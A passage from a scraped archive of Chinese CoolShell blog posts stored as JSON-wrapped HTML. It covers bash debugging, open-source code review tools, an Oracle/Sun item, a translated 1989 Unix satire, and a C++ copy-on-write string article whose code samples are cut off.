一个Bash的专用调试器。这个调试器很强大，你想得到的功能，他都有，比如，设置断点，单步跟踪，跳出函数，等等。它的用户接口很想GDB，这是他的<a href=\"http://bashdb.sourceforge.net/bashdb.html\">文档</a> 。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2987.html\"><img alt=\"用脚本实现哄宝宝睡觉(Demo)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1539.html\"><img alt=\"用脚本实现哄小孩睡觉\" height=\"150\" src=\"../wp-content/uploads/2009/10/baby_linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-4 简单实用的Code Review工具.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"123\" src=\"http://www.review-board.org/media/rbsite/images/logo.png?1238930581\" title=\"Code Review\" width=\"130\"/>Code Review中文应该译作“代码审查”或是“代码评审”，这是一个流程，当开发人员写好代码后，需要让别人来review一下他的代码，这是一种有效发现BUG的方法。由此，我们可以审查代码的风格、逻辑、思路……，找出问题，以及改进代码。因为这是代码刚刚出炉的时候，所以，这也是代码重构，代码调整，代码修改的最佳时候。所以，Code Review是编码实现中最最重要的一个环节。</p>\n<p>长时间以来，Code Review需要有一些有效的工具来支持，这样我们就可以更容易，更有效率地来进行代码审查工作。下面是5个开源的代码审查工具，他们可以帮助你更容易地进行这项活动。</p>\n<p><strong>1. <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a>:</strong><br/>\n<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 是一个 基于web 的工具，是由 <a href=\"http://www.djangoproject.com/\" target=\"_blank\">django</a> 和<a href=\"http://www.python.org/\" target=\"_blank\">python</a>设计的。 <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 可以帮助我们追踪待决代码的改动，并可以让Code-Review更为容易和简练。尽管<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 最初被设计在<a href=\"http://www.vmware.com/\" target=\"_blank\">VMware</a>项目中使用，但现在其足够地通用。当前，其支持这些代码版本管理软件： <a href=\"http://subversion.tigris.org/\" target=\"_blank\">SVN</a>, CVS, <a href=\"http://www.perforce.com/\" target=\"_blank\">Perforce</a>, <a href=\"http://git-scm.com/\" target=\"_blank\">Git</a>, <a href=\"http://bazaar-vcs.org/\" target=\"_blank\">Bazaar</a>, 和<a href=\"http://www.selenic.com/mercurial/wiki/\" target=\"_blank\">Mercurial</a>.</p>\n<p><span id=\"more-1218\"></span></p>\n<p>Yahoo 是<a href=\"http://www.review-board.org/\" target=\"_blank\">review-board</a>的其中一个用户。</p>\n<p style=\"padding-left: 30px;\">“<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 已经改变了代码评审的方式，其可以强迫高质量的代码标准和风格，并可以成为程序员编程的指导者。每一次，当你访问search.yahoo.com 时，其代码都是使用 <a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a>工具Review过的。 We’re great fans of your work!” – Yahoo! Web Search</p>\n<h3><a href=\"http://www.review-board.org/media/screenshots/2009/02/02/review-requests.png\"><img alt=\"Detailed review requests\" class=\"aligncenter\" src=\"http://www.review-board.org/media/screenshots/2009/02/02/review-requests_thumb.png\"/></a></h3>\n<div><a href=\"http://www.review-board.org/media/screenshots/2009/02/02/diffviewer.png\"><img alt=\"Powerful diff viewer\" class=\"aligncenter\" src=\"http://www.review-board.org/media/screenshots/2009/02/02/diffviewer_thumb.png\"/></a></div>\n<p><strong>2. <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a>:</strong><br/>\n<a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 也是一个基于Web的应用，其主要使用 GCI-Perl 脚本支持在线的代码审查。<a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 可以集成于CVS, <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a>, <a href=\"http://www-01.ibm.com/software/awdtools/clearcase/\" target=\"_blank\">ClearCase</a>, <a href=\"http://www.perforce.com/\" target=\"_blank\">Perforce</a> 和Visual SourceSafe。并有一些插件可以提供支持其它的源码管理工具。</p>\n<p>David Sitsky 是 <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 的作者，并也是最活跃的开发人员之一。 Jason Remillard 是另一个活路的开发者，并给这个项目提供了最深远最有意义的贡献。大量的程序员贡献他们的代码给 <a href=\"http://codestriker.sourceforge.net/\" target=\"_blank\">Codestriker</a> 项目，导致了这个项目空前的繁荣。</p>\n<p><img alt=\"http://codestriker.sourceforge.net/viewtopicdetail.png\" class=\"aligncenter\" height=\"544\" src=\"http://codestriker.sourceforge.net/viewtopicdetail.png\" width=\"686\"/></p>\n<p><strong>3. <a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a>:</strong><br/>\n<a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a> 是一个基于WEB的代码评审工具。 <a href=\"http://groogle.sourceforge.net/\" target=\"_blank\">Groogle</a> 支持和 <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 集成。它主要提供如下的功能：</p>\n<ul>\n<li>各式各样语言的语法高亮。</li>\n<li>支持整个版本树的比较。</li>\n<li>支持当个文件不同版本的diff功能，并有一个图形的版本树。</li>\n<li>邮件通知所有的Reivew的人当前的状态。</li>\n<li>认证机制。</li>\n</ul>\n<p><img alt=\"Screenshot\" border=\"1\" class=\"aligncenter\" height=\"480\" src=\"http://sourceforge.net/dbimage.php?id=218190\" width=\"598\"/></p>\n<p><strong>4. <a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a>:</strong><br/>\n<a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a> 由Guido van Rossum 开发（他是Python的创造者，现在是Google的员工），这个工具是基于Mondrian 工具，作者一开始是为了Google 开发的，并且，它在很多方面和<a href=\"http://www.review-board.org/\" target=\"_blank\">Review board</a> 很像。它也是一个基于Web的应用，并在<a href=\"http://code.google.com/appengine/\" target=\"_blank\">Google App Engine</a> 上。它使用了目前最流行的Web开发框架 <a href=\"http://www.djangoproject.com/\" target=\"_blank\">django</a> 并支持 <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 。当前，任何一个使用 Google Code 的项目都可以使用 <a href=\"http://code.google.com/p/rietveld/\" target=\"_blank\">Rietveld</a> 并且使用 <a href=\"http://www.python.org/\" target=\"_blank\">python</a> <a href=\"http://subversion.tigris.org/\" target=\"_blank\">Subversion</a> 服务器。当然，它同样支持其它的Subversion服务器。</p>\n<p><span><a href=\"\"><img alt=\"\" class=\"aligncenter\" id=\"imgb\" src=\"http://info-database.csdn.net/Upload/2008-11-13/Reviewboard.jpg\" style=\"width: 497px; height: 375px;\" title=\"下一张\"/></a></span></p>\n<p><span> </span></p>\n<p><strong>5.<a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\"> JCR</a></strong><br/>\n<a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 或者叫做 JCodeReview 也是一个基于WEB界面的最初设计给Reivew Java 语言的一个工具。当然，现在，它可以被用于其它的非Java的代码。</p>\n<p><a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 主要想协助：</p>\n<ul>\n<li><strong>审查者</strong>。所有的代码更改都会被高亮，以及大多数语言的语法高亮。Code extracts 可以显示代码评审意见。如果你正在Review Java的代码，你可以点击代码中的类名来查看相关的类的声明。</li>\n<li><strong>项目所有者</strong>。可以 轻松创建并配置需要Review的项目，并不需要集成任何的软件配置管理系统（SCM）。</li>\n<li><strong>流程信仰者</strong>。 所有的评语都会被记录在数据库中，并且会有状态报告，以及各种各样的统计。</li>\n<li><strong>架构师和开发者</strong>。 这个系统也可以让我们查看属于单个文件的评语，这样有利于我们重构代码。</li>\n</ul>\n<p><a href=\"http://jcodereview.sourceforge.net/\" target=\"_blank\">JCR</a> 主要面对的是大型的项目，或是非常正式的代码评审，从这方面看来，他并不像上面的那些工具。</p>\n<p><img alt=\"Screenshot\" border=\"1\" class=\"aligncenter\" src=\"http://sourceforge.net/projects/jcodereview/screenshots/242251\" style=\"border: 1px solid black;\"/></p>\n<p><strong><a href=\"http://code.google.com/p/jupiter-eclipse-plugin/\" target=\"_blank\">Jupiter</a></strong>：最后我们要提一下<a href=\"http://code.google.com/p/jupiter-eclipse-plugin/\" target=\"_blank\">Jupiter</a>，这是另一个代码review的工具你可以去考虑使用的，它是一个Eclipse IDE 的插件。</p>\n<p>文章：<a href=\"http://open-tube.com/easy-code-review-tools/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1218.html\">简单实用的Code Review工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-11 Oracle的战书！.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: center;\"><a href=\"http://www.oracle.com/features/suncustomers.html\">http://www.oracle.com/features/suncustomers.html</a><img alt=\"sun customers\" height=\"552\" src=\"../wp-content/uploads/2009/09/sun_customers_lg.gif\" title=\"sun customers\" width=\"370\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/962.html\"><img alt=\"【原创】SQL栏目树的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/962.html\">【原创】SQL栏目树的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/595.html\"><img alt=\"Oracle成功收购Sun\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/203.html\"><img alt=\"IBM收购Sun，这是一种什么样的精神？\" height=\"150\" src=\"../wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/203.html\">IBM收购Sun，这是一种什么样的精神？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/786.html\"><img alt=\"用TCC可以干些什么？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/786.html\">用TCC可以干些什么？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1145.html\"><img alt=\"程序员犯的非技术错误(Top 5)\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1145.html\">程序员犯的非技术错误(Top 5)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3512.html\"><img alt=\"64位平台C/C++开发注意事项\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3512.html\">64位平台C/C++开发注意事项</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1426.html\">Oracle的战书！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-19 Alice梦游UNIX仙境.html",
    "content": "<html><body><p>本文来源：<a href=\"http://www.pma.caltech.edu/Publications/alice.in.unix.land.html\">http://www.pma.caltech.edu/Publications/alice.in.unix.land.html</a><br/>\n（这是一篇1989年的文章）</p>\n<p>Alice 正在在她的显示器上读着一些信息，她开会怀疑所有的事情并不是应该的那样。“程序太大了，而无法适应内存”，她读到。</p>\n<p>“一个很奇怪的事情”，她说，“我所做的也就是在启动我的字处理程序会运行了14个TSR（terminate-and-stay-resident 常驻程序）。所有这些程序需要使用4M的内存，我希望我能使用超过640K以上的内存”。</p>\n<p>就在那个时候，一个小的白色的顾问（一个非常白的顾问）跑过了房间。“哦，我的外套和领带”，他说到，“我要迟到了。并且是每小时150元。”Alice本想对他说点什么，他却跳到了Alice的显示器里并到在操作系统后面消失了。</p>\n<p><span id=\"more-1439\"></span></p>\n<p>Alice 从来没有见过有人可以跳到显示器里，并且肯定不是通过操作系统干。但是，曾有人告诉他，DOS这个操作系统是非常肤浅的。于是，她没有怎么犹豫，Alice也跳了进去。</p>\n<p>Alice发现她自己在一个明亮的走廊里。她不知道要做什么，她开始向前走，走过了一个拐角后，她发现她的前面有两个小胖子，他们互相搂着对对方的脖子。一个人的领口上绣着“POS”，另一个则是“NEG”。</p>\n<p>“我知道”，Alice说，“你俩是晶体管”。</p>\n<p>“是的”，Positive回答到。</p>\n<p>“你们能帮我吗？”Alice问道。</p>\n<p>“不能”，Negative回答。</p>\n<p>“我在找一个白色的顾问”，Alice指着她走过来的方向，“他走的是这条路吗？”Alice继续问道。</p>\n<p>“不是”，Negative回答到。</p>\n<p>Alice又指了另一条路。</p>\n<p>“是的”，Postive回答到。</p>\n<p>很快，Alice来到了一个很大的棕色的桌前。那个顾问就在那里，名字叫Mad Hacker，并且有一些Alice并不知道的生物围在桌边。在角落里，有一个睡鼠在那熟睡。在桌子上放着一个大的标牌 ，上面写着“UNIX Conference”</p>\n<p>每一个人除了那只睡鼠都有一个纸杯，纸杯里应该是奶油蛋羹的样子。“错误的佐料”，他们所有人都这么说，并把杯子传递给他们右手边的人，并且优雅地从他们的左边接过杯子。Alice 看着他们重复着这个仪式三到四次后，她也坐到了他们中间。</p>\n<p>马上，一个很大的癞蛤蟆跳到了他的大腿上，并看着她就好像希望得到Alice的宠爱。“Grep”，它叫到。</p>\n<p>“别介意”，Mad Hacker解释道，“他只是想查找一些字符串”。</p>\n<p>“Nroff？” 蛤蟆问到。</p>\n<p>Mad Hacker 给了Alice一个有看似有奶油蛋羹杯子以及一把勺子。“这里”，他问到，“你对这个有什么想法？”</p>\n<p>“看起来很可爱”，Alice说，“非常甜”。她边说边尝了一勺。“讨厌！”他叫到，“真糟糕，这是什么啊？！”</p>\n<p>“哦，这只不过是Unix的另一个图形界面”，Hacker回答道。</p>\n<p>Alice 指着角落里的那只睡鼠说：“他是谁？”</p>\n<p>“那也是一个操作系统”，Hacker解释道，“我们几乎放弃了去把他唤醒过来”。</p>\n<p>就在这个时候，坐在睡鼠旁边的一个很大的蓝色的大象站了起来。“女士们，先生们”，他很傲慢地说到，“作为在这里的一个最大的生物，我感到我们必需开明地来看一下……”</p>\n<p>一个在桌子另一边的年轻的“工作麻雀”愤努地站了起来。大象注意这事，并改变了他的演讲，“……什么是我们下一步的行动”。</p>\n<p>有一半的生物鞠躬至敬，而另一半的生物偷偷窃笑。这个时候，睡鼠醒过来了，要和这个大象合并。没人有一丁点的惊讶。</p>\n<p>“我们需要什么”，一只Sun熊宣称，他用他的长甜头舔了舔那个奶油蛋羹说道，“我们需要的是一个像Macintosh那样的调料”。</p>\n<p>突然，那个白色顾问红着脸跳了起来，“不，不，不！”他尖叫着，“没有人会150元一小时的费用给Macintosh！”</p>\n<p>“Awk”，青蛙说道。</p>\n<p>“用户”，Sun熊解释到，“用户们希望的是那种简单到不需要学习的用户接口”。</p>\n<p>“用户？”Hacker叫到“用户？！你说的是那些秘书，会计，建筑师，以及体力劳动者！”</p>\n<p>“喔”Sun熊说到，“我得做点什么得让他们把系统切换到UNIX”。</p>\n<p>“你们是否觉得，”一个正在桌子上打洞的啄木鸟说，“我们一同使用Unix这个名字会是一个问题？我的意思是，这样想的并不只有我一个人。”</p>\n<p>“也许我们应该试试别的名字”，工作麻雀说，“比如：Brut或Rambo”。</p>\n<p>“Penix” 一只企鹅说到。</p>\n<p>“mount”，蛤蟆说，“spawn”。</p>\n<p>Alice 拍了一下蛤蟆。“nice?” 蛤蟆问到。</p>\n<p>“但是”，啄木鸟又建议到，“ShrinkWap的问题怎么办？”</p>\n<p>突然，每一个人都跳了起来，而且都变得活跃起来，挥动着他们的双手大叫着，但只一会，他们又全都坐下来。</p>\n<p>“现在这个问题解决了”，啄木鸟说，“让我们回到调料的问题上来吧”。</p>\n<p>于是，桌子边的每个人又采样了一个新的奶油蛋羹，继续说到“错误的调料”，然后把杯子传给右边的人，并从左边的人接过杯子。</p>\n<p>完全地被搞糊涂了，Alice起身离开了，她正在正在离开的过程中，她听到了身后传来了一个熟悉的声音。</p>\n<p>“rem”，它说，“edlin”</p>\n<p>Alice 转过身去，看到了那只蛤蟆，她微笑着。“你总是说着这些古怪发音的单词”，她说，“但至少我知道他们是什么意思”。</p>\n<p>“chkdsk”， 蛤蟆说到。</p>\n<p>—–By Lincoln Spector TEXAS COMPUTER CURRENTS SEPTEMBER 1989<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1439.html\">Alice梦游UNIX仙境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-19 C++的stdstring的“读时也拷贝”技术！.html",
    "content": "<html><body><p>C++的std::string的读时也拷贝技术！</p>\n<p>嘿嘿，你没有看错，我也没有写错，是读时也拷贝技术。什么?我的错，你之前听说写过时才拷贝，嗯，不错的确有这门技术，英文是Copy On Write，简写就是COW,非常’牛’！那么我们就来看看这个’牛’技术的效果吧。</p>\n<p>我们先编写一段程序<br/>\n<span id=\"more-1443\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;string&gt;\n#include &lt;iostream&gt;\n#include &lt;sys/time.h&gt;\n\nstatic long getcurrenttick()\n{\n    long tick ;\n    struct timeval time_val;\n    gettimeofday(&amp;time_val , NULL);\n    tick = time_val.tv_sec * 1000 + time_val.tv_usec / 1000 ;\n    return tick;\n}\n\n\nint main( )\n{\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin =  getcurrenttick();\n    for( int i = 0 ;i&lt; 100 ;++i ) {\n       string the_copy = the_base ;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n</pre>\n<p>嗯，一个非常大的字符串，有10M字节的x，并且执行了100此拷贝。编译执行它，非常快，在我的虚拟机甚至不要1个毫秒。</p>\n<p>现在我们来对这个string加点料！</p>\n<pre class=\"brush:c; highlight:6\">\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin =  getcurrenttick();\n    for (int i = 0; i \n<p>现在我们再编译并执行这断程序，居然需要4~5秒！哇！非常美妙的写时才拷贝技术，性能和功能的完美统一。</p>\n<p>我们再来看看另外一种情况！</p>\n<pre class=\"brush:c\">\nstring original = \"hello\";\nchar &amp; ref = original[0];\nstring clone = original;\nref = 'y';\n</pre>\n<p>我们生成了一个string，并保留了它首字符的引用，然后复制这个string，修改string中的首字符。因为写操作只是直接的修改了内存中的指定位置，这个string就根本不能感知到有写发生，如果写时才拷贝是不成熟的，那么我们将同时会修改original和clone两个string。那岂不是灾难性的结果？幸好上述问题不会发生。clone的值肯定是没有被修改的。看来COW就是非常的牛！</p>\n<p>以上都证明了我们的COW技术非常牛！</p>\n<p>有太阳就有黑暗，这句说是不是有点耳熟？</p>\n<pre class=\"brush:c; highlight:3\">\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    long begin =  getcurrenttick();\n    for (int i = 0; i 